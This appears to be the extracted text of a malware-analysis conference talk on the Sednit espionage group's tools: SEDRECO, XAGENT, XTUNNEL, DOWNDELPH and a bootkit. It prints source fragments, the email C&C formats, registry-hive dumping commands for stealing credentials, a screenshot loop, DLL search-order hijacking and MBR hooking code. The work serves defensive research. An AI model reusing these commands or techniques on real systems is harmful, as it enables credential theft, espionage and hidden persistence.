RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
Payload

RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
Payload

RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
Payload

RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
payload

```
RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(16, CMD_get_devices, 0);
RegisterNewCommand(17, CMD_update_SEDRECO, 0);
RegisterNewCommand(18, CMD_read_file_from_offset, 0);
RegisterNewCommand(19, CMD_map_network, 0);
```
Payload

```c
RegisterNewCommand(0, CMD_update_config, 0);
RegisterNewCommand(1, CMD_load_plugin, 0);
RegisterNewCommand(2, CMD_unload_plugin, 0);
RegisterNewCommand(3, CMD_start_keylogger, 0);
RegisterNewCommand(4, CMD_stop_keylogger, 0);
RegisterNewCommand(5, CMD_list_dir, 0);
RegisterNewCommand(6, CMD_read_file, 0);
RegisterNewCommand(7, CMD_write_file, 0);
RegisterNewCommand(8, CMD_delete_file_or_directory, 0);
RegisterNewCommand(9, CMD_get_registry_keys_data, 0);
RegisterNewCommand(10, CMD_write_registry_key_data, 0);
RegisterNewCommand(11, CMD_delete_registry_key, 0);
RegisterNewCommand(12, CMD_list_all_running_processes, 0);
RegisterNewCommand(13, CMD_create_process, 0);
RegisterNewCommand(14, CMD_terminate_process, 0);
RegisterNewCommand(15, CMD_get_module_list, 0);
RegisterNewCommand(17, CMD_get_devices, 0);
RegisterNewCommand(18, CMD_update_SEDRECO, 0);
RegisterNewCommand(19, CMD_read_file_from_offset, 0);
RegisterNewCommand(20, CMD_map_network, 0);
```
Extending The Core (1)

- Plugins are DLLs loaded in the same address space
- Plugins receive arguments from the core:

```c
args.output_buffer = output_buffer;
args.RegisterNewCommand = RegisterNewCommand;
args.FN_read_file = FN_read_file_w_ts;
args.FN_write_output_to_file = FN_write_output_to_file;
args.FN_unregister_command = FN_unregister_command;
args.FN_outbuf_strcat = FN_outbuf_strcat;
v8 = (Init)(&args, hFile, dummy);
```
Extending The Core (1)

- Plugins are DLLs loaded in the same address space
- Plugins receive arguments from the core:

```c
args.output_buffer = output_buffer;
args.RegisterNewCommand = RegisterNewCommand;
args.FN_read_file = FN_read_file_w_ts;
args.FN_write_output_to_file = FN_write_output_to_file;
args.FN_unregister_command = FN_unregister_command;
args.FN_outbuf_strcat = FN_outbuf_strcat;
v8 = (Init)(&args, hFile, dummy);
```
Extending The Core (1)

• Plugins are DLLs loaded in the same address space
• Plugins receive arguments from the core:

```c
args.output_buffer = output_buffer;
args.RegisterNewCommand = RegisterNewCommand;
args.FN_read_file = FN_read_file_w_ts;
args.FN_write_output_to_file = FN_write_output_to_file;
args.FN_unregister_command = FN_unregister_command;
args.FN_outbuf_strcat = FN_outbuf_strcat;
v8 = (Init)(&args, hFile, dummy);
```
Extending The Core (2)

```c
int __stdcall Init(ModuleArgs *args)
{
    output_buffer = args->output_buffer;
    FN_RegisterNewCommand = args->RegisterNewCommand;
    FN_unregister_command = args->FN_unregister_command;
    FN_RegisterNewCommand(36, __FN_http_com, 1);
    return 0;
}
```

```c
int __stdcall UnInit(int cmd_index)
{
    FN_unregister_command(36);
    return 0;
}
```
Extending The Core (2)

```c
int __stdcall Init(ModuleArgs *args)
{
    output_buffer = args->output_buffer;
    FN_RegisterNewCommand = args->RegisterNewCommand;
    FN_unregister_command = args->FN_unregister_command;
    FN_RegisterNewCommand(36, __FN_http_com, 1);
    return 0;
}
```

New command

```c
int __stdcall UnInit(int cmd_index)
{
    FN_unregister_command(36);
    return 0;
}
```
Chain of Events

<table>
<thead>
<tr>
<th></th>
<th>Mon</th>
<th>Tue</th>
<th>Wed</th>
<th>Thu</th>
<th>Fri</th>
</tr>
</thead>
<tbody>
<tr>
<td>9:30AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>10:00AM</td>
<td>SEDRECO deployment</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
MONDAY, 2:00PM
Serge Meets XAGENT
(a.k.a SPLM, CHOPSTICK)

• Downloaded by SEDUPLOADER

• Modular backdoor developed in C++ with Windows, Linux and iOS versions

• Deployed in most Sednit operations, usually after the reconnaissance phase

• Period of activity: November 2012 - Now
ACCESS TO SOURCE CODE...

GRANTED
• Linux XAGENT, compiled in July 2015
• Linux XAGENT, compiled in July 2015

• ~ 18,000 lines of code in 59 classes
• Linux XAGENT, compiled in July 2015

• ~ 18,000 lines of code in 59 classes

• Derives from Windows version:

```c
if(handleGetPacket != 0)
{
    pthread_exit(&handleGetPacket);
    //TerminateThread(handleGetPacket, 0);
    //CloseHandle(handleGetPacket);
}
```
• Linux XAGENT, compiled in July 2015

• ~ 18,000 lines of code in 59 classes

• Derives from Windows version:

```c
if(handleGetPacket != 0)
{
    pthread_exit(&handleGetPacket);
    // TerminateThread(handleGetPacket, 0);
    // CloseHandle(handleGetPacket);
}
```

• XAGENT major version 2, but matches the logic of currently distributed binaries (version 3)
Such Comments

// TODO: Remove fucking defines!!!!
// Packet Header Format
/*
   4 байта    нефиксированная длина
   _______________________________
   \
   # Agent ID  # CRYPT DATAS #
   _______________________________
*/

// TODO: AGENT ID !!!
// FIXME: CONSTANT AGENT ID!!!
// Write Agent ID
*(int *)data = msg->getAgentID();

// Указатель на данные
// int short char a lot of of bytes
// AGENT_ID | MODULE_ID | CMD_ID | MES_DATA

<- That’s a lot
int startXAgent(wstring path)
{
    [...] 

    AgentKernel krnl( (wchar_t *)path.c_str() );

    IAgentChannel* http_channel = new HttpChannel();
    //IAgentChannel* smtp_channel = new MailChannel();

    IAgentModule* remote_shell = new RemoteShell();
    IAgentModule* file_system = new FSModule();
    //IAgentModule* key_log = new RemoteKeylogger();

    krnl.registerChannel(http_channel);
    //krnl.registerChannel(smtp_channel);
    krnl.registerModule(remote_shell);
    krnl.registerModule(file_system);
    //krnl.registerModule(key_log);

    krnl.startWork();

    [...] 
}
int startXAgent(wstring path) {
    
    AgentKernel krnl( (wchar_t *)path.c_str() );

    IAgentChannel* http_channel = new HttpChannel();
    //IAgentChannel* smtp_channel = new MailChannel();

    IAgentModule* remote_shell = new RemoteShell();
    IAgentModule* file_system = new FSModule();
    //IAgentModule* key_log = new RemoteKeylogger();

    krnl.registerChannel(http_channel);
    //krnl.registerChannel(smtp_channel);
    krnl.registerModule(remote_shell);
    krnl.registerModule(file_system);
    //krnl.registerModule(key_log);

    krnl.startWork();

    [...]
int startXAgent(wstring path)
{
    ...

    AgentKernel krnl( (wchar_t *)path.c_str() );

    IAgentChannel* http_channel = new HttpChannel();
    //IAgentChannel* smtp_channel = new MailChannel();

    IAgentModule* remote_shell = new RemoteShell();
    IAgentModule* file_system = new FSModule();
    //IAgentModule* key_log = new RemoteKeylogger();

    krnl.registerChannel(http_channel);
    //krnl.registerChannel(smtp_channel);
    krnl.registerModule(remote_shell);
    krnl.registerModule(file_system);
    //krnl.registerModule(key_log);

    krnl.startWork();

    [...]
}
```cpp
int startXAgent(wstring path) {
    [...]

    AgentKernel krnl((wchar_t*)path.c_str());  // 1

    IAgentChannel* http_channel = new HttpChannel();
    //IAgentChannel* smtp_channel = new MailChannel();  // 2

    IAgentModule* remote_shell = new RemoteShell();
    IAgentModule* file_system = new FSModule();
    //IAgentModule* key_log = new RemoteKeylogger();  // 3

    krnl.registerChannel(http_channel);
    //krnl.registerChannel(smtp_channel);
    krnl.registerModule(remote_shell);
    krnl.registerModule(file_system);
    //krnl.registerModule(key_log);

    krnl.startWork();

    [...]
}
```

main.cpp
```cpp
int startXAgent(wstring path) {
    AgentKernel krnl((wchar_t *)path.c_str());

    IAgentChannel* http_channel = new HttpChannel();
    //IAgentChannel* smtp_channel = new MailChannel();

    IAgentModule* remote_shell = new RemoteShell();
    IAgentModule* file_system = new FSModule();
    //IAgentModule* key_log = new RemoteKeylogger();

    krnl.registerChannel(http_channel);
    //krnl.registerChannel(smtp_channel);
    krnl.registerModule(remote_shell);
    krnl.registerModule(file_system);
    //krnl.registerModule(key_log);

    krnl.startWork();

    [...]}
```
int startXAgent(wstring path) {
    [...]
    AgentKernel krnl( (wchar_t *)path.c_str() );
    IAgentChannel* http_channel = new HttpChannel();
    //IAgentChannel* smtp_channel = new MailChannel();
    IAgentModule* remote_shell = new RemoteShell();
    IAgentModule* file_system = new FSModule();
    //IAgentModule* key_log = new RemoteKeylogger();
    krnl.registerChannel(http_channel);
    //krnl.registerChannel(smtp_channel);
    krnl.registerModule(remote_shell);
    krnl.registerModule(file_system);
    //krnl.registerModule(key_log);
    krnl.startWork();
    [...]
}
Translates messages from modules for the C&C server

Translates messages from the C&C server for modules

Unencrypted messages

Encrypted messages
Communication Workflow

XAGENT INFECTED COMPUTER

Modules

- AgentKernel
- RemoteShell
- FSModule
- Keylogger

C&C SERVER

AgentKernel::run()

Translates messages from modules for the C&C server

Translates messages from the C&C server for modules

Channel Controller

Unencrypted messages

Encrypted messages
Translates messages from modules for the C&C server

Translates messages from the C&C server for modules

AgentKernel::run()
Communication Workflow

**XAGENT INFECTED COMPUTER**

**Modules**
- AgentKernel
- RemoteShell
- FSModule
- Keylogger

**AgentKernel::run()**
- Translates messages from modules for the C&C server
- Translates messages from the C&C server for modules

**C&C SERVER**

- Channel Controller

**Communication Workflow**
- Unencrypted messages
- Encrypted messages
Communication Workflow

XAGENT INFECTED COMPUTER

Modules

- AgentKernel
- RemoteShell
- FSModule
- Keylogger

AgentKernel::run()

Translates messages from modules for the C&C server

Translates messages from the C&C server for modules

Channel Controller

C&C SERVER

Unencrypted messages

Encrypted messages

Unencrypted messages

Encrypted messages
Communication Workflow

**XAGENT INFECTED COMPUTER**

**Modules**
- AgentKernel
- RemoteShell
- FSModule
- Keylogger

**AgentKernel::run()**
- Translates messages from modules for the C&C server
- Translates messages from the C&C server for modules

**Channel Controller**

**C&C SERVER**

Unencrypted messages

Encrypted messages
Communication Workflow

**XAGENT INFECTED COMPUTER**

- **Modules**
  - AgentKernel
  - RemoteShell
  - FSMModule
  - Keylogger

- **AgentKernel::run()**
  - Translates messages from modules for the C&C server

- **Channel Controller**
  - Translates messages from the C&C server for modules

- **Unencrypted messages**
  - **Encrypted messages**

**C&C SERVER**
Communication Workflow

XAGENT INFECTED COMPUTER

Modules

- AgentKernel
- RemoteShell
- FSModule
- Keylogger

AgentKernel::run()

- Translates messages from modules for the C&C server
- Translates messages from the C&C server for modules

Channel Controller

C&C SERVER

Unencrypted messages

Encrypted messages

Channel (HTTP or emails)
Emails Channel (1)

Workflow

- XAGENT INFECTED COMPUTER USING MailChannel
- exfil@gmail.com
- orders@gmail.com
- C&C SERVER
Emails Channel (1)

Workflow

XAGENT INFECTED COMPUTER USING MailChannel

SMTPS

exfil@gmail.com

orders@gmail.com

C&C SERVER
 Emails Channel (1)

Workflow

XAGENT INFECTED COMPUTER USING MailChannel

SMTPS

exfil@gmail.com

POP3S

orders@gmail.com

C&C SERVER
Emails Channel (1)

Workflow

XAGENT INFECTED COMPUTER USING MailChannel

SMTPS

exfil@gmail.com

POP3S

orders@gmail.com

SMTPS

C&C SERVER
Emails Channel (1)

Workflow

XAGENT INFECTED
COMPUTER
USING MailChannel

exfil@gmail.com

SMTPS

orders@gmail.com

POP3S

C&C SERVER

SMTPS

POP3S
An email-based C&C protocol needs to provide:
1. A way to distinguish C&C emails from unrelated emails
2. A way to bypass spam filters
Email Channel (2)
P2Scheme, a.k.a “Level 2 Protocol”

From test1@smtp.adobeincorp.net
Subject 894nMF3PcNYRWa2AuNQNc6jdYALdkNDY20Tc4
To exfil@gmail.com

cmFuZG9tIHN0cmluZw

1 attachment: b3RoZXIgcmFuZG9t.rwp 720 bytes
Email Channel (2)

P2Scheme, a.k.a “Level 2 Protocol”

From test1@smtp.adobeincorp.net
Subject 894nMF3PcNYRWa2AuNQNc6jdYALdkNDY2OTc4
To exfil@gmail.com

cmFuZG9tIHN0cmluZw

1 attachment: b3RoZXIgcmFuZG9t.rwp  720 bytes
Email Channel (2)
P2Scheme, a.k.a “Level 2 Protocol”

From test1@smtp.adobeincorp.net
Subject 894nMF3PcNYRWa2AuNQNc6jdYALdkNDY2OTc4
To exfil@gmail.com

cmFuZG9tIHN0cmluZw

1 attachment: b3RoZXIgcmFuZG9t.rwp 720 bytes

base64

<table>
<thead>
<tr>
<th></th>
<th>KEY</th>
<th>SUBJ_TOKEN ^ KEY</th>
<th>XAGENT_ID ^ KEY</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>0x55, 0xaa, 'c', 'h', 'i', 'n', 'a', 0x00</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

{0x55,0xaa,'c','h','i','n','a',0x00}
Email Channel (3)
Georgian Protocol

From test1@smtp.adobeincorp.net
Subject piradi nomeri
To exfil@gmail.com

gamarjoba

1 attachment: detaluri_260420161137.dat size=8  8 bytes
Email Channel (3)
Georgian Protocol

From test1@smtp.adobeincorp.net
Subject piradi nomeri
To exfil@gmail.com

gamarjoba

1 attachment: detaluri_260420161137.dat size=8 8 bytes
**Email Channel (3)**

Georgian Protocol

<table>
<thead>
<tr>
<th>From</th>
<th><a href="mailto:test1@smtp.adobeincorp.net">test1@smtp.adobeincorp.net</a></th>
</tr>
</thead>
<tbody>
<tr>
<td>Subject</td>
<td>piradi nomeri</td>
</tr>
<tr>
<td>To</td>
<td><a href="mailto:exfil@gmail.com">exfil@gmail.com</a></td>
</tr>
</tbody>
</table>

**Georgian national ID number**

```
gamarjoba
```

“Hello”

1 attachment: detaluri_260420161137.dat size=8 8 bytes
Email Channel (3)
Georgian Protocol

From test1@smtp.adobeincorp.net
Subject piradi nomeri
To exfil@gmail.com

Georgian national ID number

“Hello”

1 attachment: detaluri_260420161137.dat size=8 8 bytes

“detailed” + timestamp
Bonus: XAGENT C&C Infrastructure
Bonus: XAGENT C&C Infrastructure

ACCESS TO SOURCE CODE...

GRANTED ( AGAIN )

Thank you, Google search engine
XAGENT Proxy Server

- Python code used between April and June 2015
XAGENT Proxy Server

- Python code used between April and June 2015
- ~ 12,200 lines of code
XAGENT Proxy Server

- Python code used between April and June 2015
- ~12,200 lines of code
- Translates email protocol from XAGENT into a HTTP protocol for the C&C server:

```
__init__.py
_w3.log
_w3server.log
ConsoleLogger.py
FileConsoleLogger.py
FSLocalStorage.py
MailServer.py
MailServer2.py
MailServer3.py
P2Scheme.py
P3Scheme.py
quickstart.py
settings.py
w3s.py
wsgi.py
WsgiHttp.py
XABase64.py
```
Chain of Events

- Serge opens an email leading to SEDKIT, and then SEDUPLoader at 9:30 AM.
- XAGENT deployment at 2:00 PM.
- SEDRECO deployment at 10:00 AM.

<table>
<thead>
<tr>
<th>Mon</th>
<th>Tue</th>
<th>Wed</th>
<th>Thu</th>
<th>Fri</th>
</tr>
</thead>
</table>


NEXT THREE DAYS...
Serge Meets
Passwords Extractors

• SecurityXploded tools (grand classic of Sednit)
  – Cons: usually detected by AV software

• Custom tools, in particular a Windows Live Mail passwords extractor compiled for Serge:

```
push  esi
push  offset aFolder ; "D:\\Mail
call  sub_401590
```
Serge Meets
Windows Passwords Extractors

• From registry hives
  – Deployed with LPE for CVE-2014-4076

```
"save hklm\system C:\\Windows\\system.save", 0,
"save hklm\security C:\\Windows\\security.save",
"save hklm\sam C:\\Windows\\sam.save", 0, 0);
```

• Good ol’ Mimikatz ("pi.log")
  – Deployed with LPE for CVE-2015-1701
Serge Meets Screnshoter

- Custom tool to take screenshots each time the mouse moves

```c
do
{
    GetCursorPos(&Point);
    v5 = Point.x;
    v7 = Point.y;
    Sleep(0x7D00u);
    GetCursorPos(&Point);
    if ( Point.x != v5 || Point.y != v7 )
        FN_TakeScreenshots(&v9, v4++);
}
while ( v4 < 14 );
```
And... Serge Meets XTUNNEL

• Network proxy tool to contact machines normally unreachable from Internet

• Period of activity: May 2013 - Now
Initial Situation

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

COMPUTER B (CLEAN)
Encryption Handshake

C&C SERVER

INTERNET

INTERNAL NETWORK

COMPUTER A
(CLEAN)

SERGE’S COMPUTER
(XTUNNEL INFECTED)

COMPUTER B
(CLEAN)
Encryption Handshake

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

C&C SERVER

T

INTERNET

T

COMPUTER B (CLEAN)
Encryption Handshake

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

C&C SERVER

COMPUTER B (CLEAN)

T

D5 47 A4 A4.3F 60 6A 0F
3B 36 04 1C.44 4A C8 BD
80 BE 7B 25.EE E6 FC F2
CD 5D 7F 3A.73 1D 59 A5
2D 35 77 F3.B2 1B DF 7D
EE 1D 1C F1.AB 91 87 87
...

RC4 key
Encryption Handshake

- Offset $O$ in $T$
- Proof of knowledge of $T$

INTERNET

INTERNAL NETWORK

C&C SERVER

SERGE’S COMPUTER (XTUNNEL INFECTED)

COMPUTER A (CLEAN)

COMPUTER B (CLEAN)

D5 47 A4 A4.3F 60 6A 0F
3B 36 04 1C.44 4A C8 BD
80 BE 7B 25.8E E6 FC F2
CD 5D 7F 3A.73 1D 59 A5
2D 35 77 F3.82 1B DF 7D
EE 1D 1C F1.AB 91 87 87

...
Encryption Handshake

INTERNET

INTERNAL NETWORK

COMPUTER A
(CLEAN)

COMPUTER B
(CLEAN)

SERGE’S COMPUTER
(XTUNNEL INFECTED)

C&C SERVER

“OK”

RC4 Key

Encryption Handshake

INTERNET

INTERNAL NETWORK

COMPUTER A
(CLEAN)

COMPUTER B
(CLEAN)

C&C SERVER

“OK”

... RC4 Key

... RC4 Key
Encryption Handshake

C&C SERVER

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

COMPUTER B (CLEAN)

RC4-encrypted link
Encryption Handshake

INTERNET

INTERNAL NETWORK

C&C SERVER

TLS encapsulation (added in 2014)

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

COMPUTER B (CLEAN)
Tunnels Opening

C&C SERVER

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

COMPUTER B (CLEAN)
Tunnels Opening

INTERNET

INTERNAL NETWORK

C&C SERVER

Tunnel ID = 1

COMPUTER A (CLEAN)

SERGE’S COMPUTER (XTUNNEL INFECTED)

COMPUTER B (CLEAN)
Tunnels Opening

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

Tunnel ID = 1

SERGE’S COMPUTER (XTUNNEL INFECTED)

Any kind of TCP-based traffic can be tunneled! (PsExec)

COMPUTER B (CLEAN)

C&C SERVER
Tunnels Opening

C&C SERVER

INTERNET

INTERNAL NETWORK

COMPUTER A (CLEAN)

Tunnel ID = 1

SERGE’S COMPUTER (XTUNNEL INFECTED)

Tunnel ID = 2

COMPUTER B (CLEAN)

Any kind of TCP-based traffic can be tunneled! (PsExec)
Code Obfuscation (1)

• Starting in July 2015 XTUNNEL code was obfuscated

(which is two months after the Sednit attack against the German parliament, where XTUNNEL was used)
Code Obfuscation (1)

• Starting in July 2015 XTUNNEL code was obfuscated

(which is two months after the Sednit attack against the German parliament, where XTUNNEL was used)

• The obfuscation is a mix of classic syntactic techniques, like insertion of junk code and opaque predicates
Code Obfuscation (2)

BEFORE

AFTER
Code Obfuscation (2)

BEFORE

AFTER

Good toy example for automatic desobfuscation magic?
Serge opens an email leading to SEDKIT, and then SEDUPLOADER at 9:30AM.

XAGENT deployment at 02:00PM.

SEDRECO deployment at 10:00AM.

Information exfiltration and lateral movements.

Chain of Events:

- **Mon**: SEDRECO deployment at 10:00AM.
- **Tue**: Information exfiltration and lateral movements.
- **Wed**: XAGENT deployment at 02:00PM.
- **Thu**: 
- **Fri**: 

---

82
FRIDAY, 11:00AM
Long Term Persistence (1)

• Special XAGENT copied in Office folder under the name “msi.dll”
Long Term Persistence (2)

• `system32\msi.dll` is a legitimate Windows DLL needed by Office applications
Long Term Persistence (2)

- `system32\msi.dll` is a legitimate Windows DLL needed by Office applications
- `XAGENT msi.dll` exports the same function names as the legitimate `msi.dll`:

```plaintext
; Export Address Table for msi.dll

off_1002A918 dd rva MsiAdvertiseProductA, rva MsiAdvertiseProductW
               ; DATA XREF: .rdata:1002A90C↑O
dd rva MsiCloseAllHandles, rva MsiCloseHandle, rva MsiCollectUserInfoA
dd rva MsiCollectUserInfoW, rva MsiConfigureFeatureA, rva MsiConfigureFeature
dd rva MsiConfigureFeatureFromDescriptorW, rva MsiConfigureFeatureW
dd rva MsiConfigureProductA, rva MsiConfigureProductW
dd rva MsiCreateRecord, rva MsiDatabaseApplyTransformA
dd rva MsiDatabaseApplyTransformW, rva MsiDatabaseCommit
dd rva MsiDatabaseExportA, rva MsiDatabaseExportW, rva MsiDatabaseGenerateTra
dd rva MsiDatabaseGenerateTransformW, rva MsiDatabaseGetPrimaryKeysA
dd rva MsiDatabaseGetPrimaryKeysW, rva MsiDatabaseImportA
```
Long Term Persistence (3)

• Each time Serge starts Office, XAGENT msi.dll is loaded (search-order hijacking):
  – Loads real msi.dll from system32
  – Fills its export table with the addresses of the real msi.dll functions
  – Starts XAGENT malicious logic
Long Term Persistence (3)

• Each time Serge starts Office, XAGENT msi.dll is loaded (search-order hijacking):
  – Loads real msi.dll from system32
  – Fills its export table with the addresses of the real msi.dll functions
  – Starts XAGENT malicious logic

• Same technique also seen with LINKINFO.dll dropped in C:\WINDOWS
Serge opens an email leading to SEDKIT, and then SEDUPLOADER at 9:30 AM.

XAGENT deployment at 2:00 PM on Tuesday.

SEDRECO deployment at 10:00 AM on Wednesday.

Information exfiltration and lateral movements on Thursday.

Long-term persistence method deployment at 11:00 AM on Friday.

Chain of Events:
- Mon: SEDRECO deployment at 10:00 AM
- Tue: XAGENT deployment at 2:00 PM
- Wed: Serge opens an email leading to SEDKIT, and then SEDUPLOADER at 9:30 AM
- Thu: Information exfiltration and lateral movements
- Fri: Long-term persistence method deployment at 11:00 AM
What the hell is going on here?! 

THE MYSTERIOUS DOWNDELPH
Discovery
September 2015

• Classic Sednit dropper
• Shows a decoy document
What Is In This Dropper?

(heavy breathing)
The Ultimate Boring Component

• Delphi downloader, we named it DOWNDELPH (slow clap)

• Simple workflow:
  – Downloads a config (.INI file)
  – Based on the config, downloads a payload
  – Executes payload

• Persistence method: Run registry key
The Ultimate Boring Component

- Delphi downloader, we named it DOWNDELPH (slow clap)

- Simple workflow:
  - Downloads a config (.INI file)
  - Based on the config, downloads a payload
  - Executes payload

- Persistence method: Run registry key
Let The Hunt Begins
2013 DOWNDELPH Sample

Dropper

Helper
Bootkit Installer
DOWNDELPH
Let The Hunt Begins
2013 DOWNDELPH Sample

- Infects BIOS-based systems
- Tested on Windows XP/7, 32bit/64bit
- Never been documented
Not So Boring Component

REVERSE A DELPHI BINARY

FIND A BOOTKIT
**Bootkit Installation**

<table>
<thead>
<tr>
<th>1&lt;sup&gt;st&lt;/sup&gt; sector</th>
<th>MBR</th>
<th>Legitimate data</th>
</tr>
</thead>
</table>

First sectors before infection
# Bootkit Installation

<table>
<thead>
<tr>
<th>1\textsuperscript{st} sector</th>
<th>2\textsuperscript{nd} sector</th>
</tr>
</thead>
<tbody>
<tr>
<td>Malicious MBR</td>
<td>Original MBR (1-byte XOR)</td>
</tr>
<tr>
<td>Hooks (1-byte XOR)</td>
<td>Driver (1-byte XOR + RC4)</td>
</tr>
<tr>
<td>Legitimate Data</td>
<td></td>
</tr>
</tbody>
</table>

**First sectors before infection**

**First sectors after infection**

![Image of binary code before and after infection]
Normal Boot Process

Windows 7 x64

Original MBR → BOOTMGR → Winload.exe

Real Mode

... → Kernel Init

Protected Mode
Infected Boot Process

Windows 7 x64

Infected MBR

Original MBR

BOOTMGR

Winload.exe

Real Mode

Protected Mode

... Kernel Init
Infected Boot Process

Windows 7 x64

Infected MBR

Original MBR

BOOTMGR

Winload.exe

Real Mode

Protected Mode

...
Malicious MBR

- Hooks INT 13h handler (low-level read/write operations)

```asm
mov    eax, [bx+4Ch]
mov    es:dword_9A, eax
mov    word ptr [bx+4Ch], offset int13_hook
mov    word ptr [bx+4Eh], es
```
Malicious MBR

• Hooks INT 13h handler (low-level read/write operations)

```
mov    eax, [bx+4Ch]
mov    es:dword_9A, eax
mov    word ptr [bx+4Ch], offset int13_hook
mov    word ptr [bx+4Eh], es
```

• Patches BOOTMGR in memory

```
find_pattern_1:
repne scasb
jnz    short loc_97D1C
cmp    dword ptr es:[di], 245C8B66h
